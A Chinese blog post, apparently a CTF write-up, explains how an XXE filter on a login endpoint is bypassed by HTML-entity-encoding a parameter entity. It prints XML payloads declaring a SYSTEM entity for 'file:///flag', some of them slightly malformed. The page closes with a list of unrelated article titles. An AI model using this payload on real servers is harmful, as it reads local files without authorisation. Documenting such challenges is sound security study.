当前位置: 首页 > backend >正文

一道有趣的xxe过滤题(html实体化绕过)

考点:xxe绕过

题取自封神台第八届ctf,有兴趣的师傅可以去复现一下

本题提示了/api/login进入这个接口

看到上面有个xml,试试xml,

既然有xml,那就试试xxe,

经过测试得知过滤了system,file,//,那就找编码绕过,试了下都不行,看了wp才知道要用html实体化,涨知识了

要利用参数实体:

定义方式:参数实体用于 DTD 内部,通过 声明来定义。例如:<!ENTITY %

XML 格式

<!DOCTYPE root [
    <!ENTITY % ss "<!ENTITY xxe SYSTEM 'xxx'>">
    %xxe_code;
]>
<root>&xxe;</root>

调用方式:在 DTD 内部,通过 的形式调用参数实体。参数实体的值会被插入到调用位置。%实体名;

在里面整一个实体调用file函数然后查找flag

,在里面整一个实体调用file函数然后查找flag,

 

<!ENTITY % sp "<!ENTITY hl SYSTEM "file:///flag">;">

 %sp;]>

(格式要完全正确,不然会报错)

然后把括号里面的进行html实体化,HTML字符实体转换,网页字符实体编码

 

最终得到flag

 

http://www.xdnf.cn/news/1726.html

相关文章:

  • QSPI flash xip模式运行
  • 树型结构(知识点梳理及例题精讲)
  • 京东商品详情API接口调用技术指南‌
  • OCP证书介绍
  • 小白自学python第二天
  • kubernetes》》k8s》》Heml
  • 深入浅出 Python 协程:从异步基础到开发测试工具的实践指南
  • Linux-01
  • 如何使用 Apache 配置用户主页 ?
  • 如何检测Python项目哪些依赖库没有使用
  • 嵌入模型(Embedding Models)原理详解:从Word2Vec到BERT的技术演进
  • Odoo 中文版安装详解
  • vue3+element-push 实现input框粘贴图片或文本,图片上传。
  • 从 Java 到 Kotlin:在现有项目中迁移的最佳实践!
  • 区间问题大纲(贪心)
  • Linux 基础命令入门指南
  • 240424 leetcode exercises II
  • 2025年Redis分片存储性能优化指南
  • Docker 磁盘占用盘查和清理
  • 与智者同行:京东零售技术人的成长书单
  • 产品经理对于电商接口的梳理||电商接口文档梳理与接入
  • 多回路电表如何革新电力监控?安科瑞技术深度解析
  • Windows上Tomcat 11手动启动startup.bat关闭shutdown.bat
  • 【高频考点精讲】前端接口版本管理:如何优雅处理API版本升级?
  • 算法导论第4章思考题
  • 龙虎榜——20250424
  • onnx注册cpu版flashattention
  • 6.第六章:数据分类的技术体系
  • vscode插件系列-2、认识vscode
  • Java架构师面试:Mysql调优与慢查询定位